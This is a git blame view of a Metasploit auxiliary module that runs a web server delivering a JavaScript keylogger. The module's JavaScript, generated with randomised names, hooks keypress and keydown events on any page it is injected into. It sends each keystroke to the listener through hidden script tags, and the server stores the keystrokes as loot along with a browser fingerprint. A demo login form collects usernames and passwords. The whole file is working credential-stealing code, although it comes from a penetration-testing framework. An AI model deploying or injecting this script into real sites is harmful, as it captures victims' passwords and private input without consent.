Files
metasploit-gs/modules/auxiliary/server/capture/http_javascript_keylogger.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

305 lines
9.1 KiB
Ruby
Raw Normal View History

2012-02-21 04:24:42 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-02-21 04:24:42 -06:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
2012-02-21 04:24:42 -06:00
include Msf::Exploit::Remote::HttpServer::HTML
2013-08-30 16:28:54 -05:00
2012-02-21 04:24:42 -06:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Capture: HTTP JavaScript Keylogger',
'Description' => %q{
2012-02-21 04:24:42 -06:00
This modules runs a web server that demonstrates keystroke
logging through JavaScript. The DEMO option can be set to enable
a page that demonstrates this technique. Future improvements will
allow for a configurable template to be used with this module.
To use this module with an existing web page, simply add a
script source tag pointing to the URL of this service ending
in the .js extension. For example, if URIPATH is set to "test",
the following URL will load this script into the calling site:
http://server:port/test/anything.js
},
'License' => MSF_LICENSE,
'Author' => ['Marcus J. Carey <mjc[at]threatagent.com>', 'hdm'],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
register_options(
[
OptBool.new('DEMO', [true, 'Creates HTML for demo purposes', false]),
]
)
2012-02-21 04:24:42 -06:00
end
2013-08-30 16:28:54 -05:00
2012-02-21 04:24:42 -06:00
# This is the module's main runtime method
def run
@seed = Rex::Text.rand_text_alpha(12)
@client_cache = {}
2013-08-30 16:28:54 -05:00
2012-02-21 04:24:42 -06:00
# Starts Web Server
exploit
end
2013-08-30 16:28:54 -05:00
2012-02-21 04:24:42 -06:00
# This handles the HTTP responses for the Web server
def on_request_uri(cli, request)
cid = nil
2013-08-30 16:28:54 -05:00
2012-02-21 04:24:42 -06:00
if request['Cookie'].to_s =~ /,?\s*id=([a-f0-9]{4,32})/i
cid = ::Regexp.last_match(1)
2012-02-21 04:24:42 -06:00
end
2013-08-30 16:28:54 -05:00
if !cid && request.qstring['id'].to_s =~ /^([a-f0-9]{4,32})/i
cid = ::Regexp.last_match(1)
2012-02-21 04:24:42 -06:00
end
2013-08-30 16:28:54 -05:00
2012-03-18 00:07:27 -05:00
data = request.qstring['data']
2013-08-30 16:28:54 -05:00
2012-02-21 04:24:42 -06:00
unless cid
cid = generate_client_id(cli, request)
2012-04-25 14:24:17 -05:00
print_status("Assigning client identifier '#{cid}'")
2013-08-30 16:28:54 -05:00
2012-02-21 04:24:42 -06:00
resp = create_response(302, 'Moved')
resp['Content-Type'] = 'text/html'
resp['Location'] = request.uri + '?id=' + cid
resp['Set-Cookie'] = "id=#{cid}"
2012-02-21 04:24:42 -06:00
cli.send_response(resp)
return
end
2013-08-30 16:28:54 -05:00
2012-02-21 04:24:42 -06:00
base_url = generate_base_url(cli, request)
2013-08-30 16:28:54 -05:00
# print_status("#{cli.peerhost} [#{cid}] Incoming #{request.method} request for #{request.uri}")
2013-08-30 16:28:54 -05:00
2012-02-21 04:24:42 -06:00
case request.uri
when /\.js(\?|$)/
content_type = 'text/plain'
send_response(cli, generate_keylogger_js(base_url, cid), { 'Content-Type' => content_type, 'Set-Cookie' => "id=#{cid}" })
2013-08-30 16:28:54 -05:00
when %r{/demo/?(\?|$)}
2012-02-21 04:24:42 -06:00
if datastore['DEMO']
content_type = 'text/html'
send_response(cli, generate_demo(base_url, cid), { 'Content-Type' => content_type, 'Set-Cookie' => "id=#{cid}" })
2012-02-21 04:24:42 -06:00
else
2012-03-18 00:07:27 -05:00
send_not_found(cli)
2012-02-21 04:24:42 -06:00
end
2013-08-30 16:28:54 -05:00
2012-02-21 04:24:42 -06:00
else
if data
nice = process_data(cli, request, cid, data)
script = datastore['DEMO'] ? generate_demo_js_reply(base_url, cid, nice) : ''
send_response(cli, script, { 'Content-Type' => 'text/plain', 'Set-Cookie' => "id=#{cid}" })
elsif datastore['DEMO']
send_redirect(cli, "/demo/?cid=#{cid}")
2012-02-21 04:24:42 -06:00
else
send_not_found(cli)
2012-02-21 04:24:42 -06:00
end
end
end
2013-08-30 16:28:54 -05:00
2012-02-21 04:24:42 -06:00
# Figure out what our base URL is based on the user submitted
# Host header or the address of the client.
def generate_base_url(cli, req)
port = nil
host = Rex::Socket.source_address(cli.peerhost)
2013-08-30 16:28:54 -05:00
2012-02-21 04:24:42 -06:00
if req['Host']
host = req['Host']
bits = host.split(':')
2013-08-30 16:28:54 -05:00
2012-02-21 04:24:42 -06:00
# Extract the hostname:port sequence from the Host header
if (bits.length > 1) && (bits.last.to_i > 0)
2012-02-21 04:24:42 -06:00
port = bits.pop.to_i
host = bits.join(':')
end
else
port = datastore['SRVPORT'].to_i
end
2013-08-30 16:28:54 -05:00
prot = !datastore['SSL'].nil? ? 'https://' : 'http://'
2012-02-21 04:24:42 -06:00
if Rex::Socket.is_ipv6?(host)
host = "[#{host}]"
end
2013-08-30 16:28:54 -05:00
2012-02-21 04:24:42 -06:00
base = prot + host
if !(((prot == 'https') && port.nil?) || ((prot == 'http') && port.nil?))
2012-02-21 04:24:42 -06:00
base << ":#{port}"
end
2013-08-30 16:28:54 -05:00
2012-02-21 04:24:42 -06:00
base << get_resource
end
2013-08-30 16:28:54 -05:00
2012-02-21 04:24:42 -06:00
def process_data(cli, request, cid, data)
lines = ['']
real = ''
2013-08-30 16:28:54 -05:00
Rex::Text.uri_decode(data).split(',').each do |char|
2012-02-21 04:24:42 -06:00
byte = char.to_s.hex.chr
next if byte == "\x00"
2012-02-21 04:24:42 -06:00
real << byte
case char.to_i
# Do Backspace
when 8
lines[-1] = lines[-1][0, lines[-1].length - 1] if !lines[-1].empty?
2012-02-21 04:24:42 -06:00
when 13
lines << ''
2012-02-21 04:24:42 -06:00
else
lines[-1] << byte
end
end
2013-08-30 16:28:54 -05:00
nice = lines.join('<CR>').gsub("\t", '<TAB>')
real = real.gsub("\x08", '<DEL>')
2013-08-30 16:28:54 -05:00
if !@client_cache[cid]
2013-08-30 16:28:54 -05:00
fp = fingerprint_user_agent(request['User-Agent'] || '')
header = "Browser Keystroke Log\n"
2012-02-21 04:24:42 -06:00
header << "=====================\n"
header << "Created: #{Time.now}\n"
2012-02-21 04:24:42 -06:00
header << "Address: #{cli.peerhost}\n"
header << " ID: #{cid}\n"
header << " FPrint: #{fp.inspect}\n"
header << " URL: #{request.uri}\n"
header << "\n"
header << "====================\n\n"
2013-08-30 16:28:54 -05:00
2012-02-21 04:24:42 -06:00
@client_cache[cid] = {
created: Time.now.to_i,
path_clean: store_loot('browser.keystrokes.clean', 'text/plain', cli.peerhost, header, "keystrokes_clean_#{cid}.txt", 'Browser Keystroke Logs (Clean)'),
path_raw: store_loot('browser.keystrokes.raw', 'text/plain', cli.peerhost, header, "keystrokes_clean_#{cid}.txt", 'Browser Keystroke Logs (Raw)')
2012-02-21 04:24:42 -06:00
}
2012-04-25 14:24:17 -05:00
print_good("[#{cid}] Logging clean keystrokes to: #{@client_cache[cid][:path_clean]}")
print_good("[#{cid}] Logging raw keystrokes to: #{@client_cache[cid][:path_raw]}")
2012-02-21 04:24:42 -06:00
end
2013-08-30 16:28:54 -05:00
::File.open(@client_cache[cid][:path_clean], 'ab') { |fd| fd.puts nice }
::File.open(@client_cache[cid][:path_raw], 'ab') { |fd| fd.write(real) }
2013-08-30 16:28:54 -05:00
if !nice.empty?
2012-04-25 14:24:17 -05:00
print_good("[#{cid}] Keys: #{nice}")
2012-02-21 04:24:42 -06:00
end
2013-08-30 16:28:54 -05:00
2012-02-21 04:24:42 -06:00
nice
end
2013-08-30 16:28:54 -05:00
def generate_client_id(_cli, _req)
'%.8x' % Kernel.rand(0x100000000)
2012-02-21 04:24:42 -06:00
end
2013-08-30 16:28:54 -05:00
2012-02-21 04:24:42 -06:00
def generate_demo(base_url, cid)
# This is the Demo Form Page <HTML>
html = <<~EOS
<html>
<head>
<title>Demo Form</title>
<script type="text/javascript" src="#{base_url}/#{@seed}.js?id=#{cid}"></script>
</head>
<body bgcolor="white">
<br><br>
<div align="center">
<h1>Keylogger Demo Form</h1>
<form method=\"POST\" name=\"logonf\" action=\"#{base_url}/demo/?id=#{cid}\">
<p><font color="red"><i>This form submits data to the Metasploit listener for demonstration purposes.</i></font>
<br><br>
<table border="0" cellspacing="0" cellpadding="0">
<tr><td>Username:</td> <td><input name="username" size="20"></td> </tr>
<tr><td>Password:</td> <td><input type="password" name="password" size="20"></td> </tr>
</table>
<p align="center"><input type="submit" value="Submit"></p></form>
<br/>
<textarea cols="80" rows="5" id="results">
</textarea>
</div>
</body>
</html>
EOS
2012-02-21 04:24:42 -06:00
return html
end
# This is the JavaScript Key Logger Code
def generate_keylogger_js(base_url, cid)
targ = Rex::Text.rand_text_alpha(12)
2012-06-06 00:22:36 -05:00
code = <<~EOS
2012-02-21 04:24:42 -06:00
var c#{@seed} = 0;
window.onload = function load#{@seed}(){
l#{@seed} = ",";
if (window.addEventListener) {
document.addEventListener('keypress', p#{@seed}, true);
document.addEventListener('keydown', d#{@seed}, true);
} else if (window.attachEvent) {
document.attachEvent('onkeypress', p#{@seed});
document.attachEvent('onkeydown', d#{@seed});
} else {
document.onkeypress = p#{@seed};
document.onkeydown = d#{@seed};
}
}
function p#{@seed}(e){
k#{@seed} = (window.event) ? window.event.keyCode : e.which;
k#{@seed} = k#{@seed}.toString(16);
if (k#{@seed} != "d"){
#{@seed}(k#{@seed});
}
}
function d#{@seed}(e){
k#{@seed} = (window.event) ? window.event.keyCode : e.which;
if (k#{@seed} == 9 || k#{@seed} == 8 || k#{@seed} == 13){
#{@seed}(k#{@seed});
}
}
function #{@seed}(k#{@seed}){
l#{@seed} = l#{@seed} + k#{@seed} + ",";
var t#{@seed} = "#{targ}" + c#{@seed};
c#{@seed}++;
var f#{@seed};
if (document.all)
f#{@seed} = document.createElement("<script name='" + t#{@seed} + "' id='" + t#{@seed} + "'></script>");
else {
f#{@seed} = document.createElement("script");
f#{@seed}.setAttribute("id", t#{@seed});
f#{@seed}.setAttribute("name", t#{@seed});
}
f#{@seed}.setAttribute("src", "#{base_url}?id=#{cid}&data=" + l#{@seed});
f#{@seed}.style.visibility = "hidden";
document.body.appendChild(f#{@seed});
if (k#{@seed} == 13 || l#{@seed}.length > 3000)
l#{@seed} = ",";
setTimeout('document.body.removeChild(document.getElementById("' + t#{@seed} + '"))', 5000);
}
EOS
2012-02-21 04:24:42 -06:00
return code
end
2013-08-30 16:28:54 -05:00
def generate_demo_js_reply(_base_url, _cid, data)
2012-02-21 04:24:42 -06:00
code = <<EOS
try {
document.getElementById("results").value = "Keystrokes: #{data}";
} catch(e) { }
EOS
return code
end
end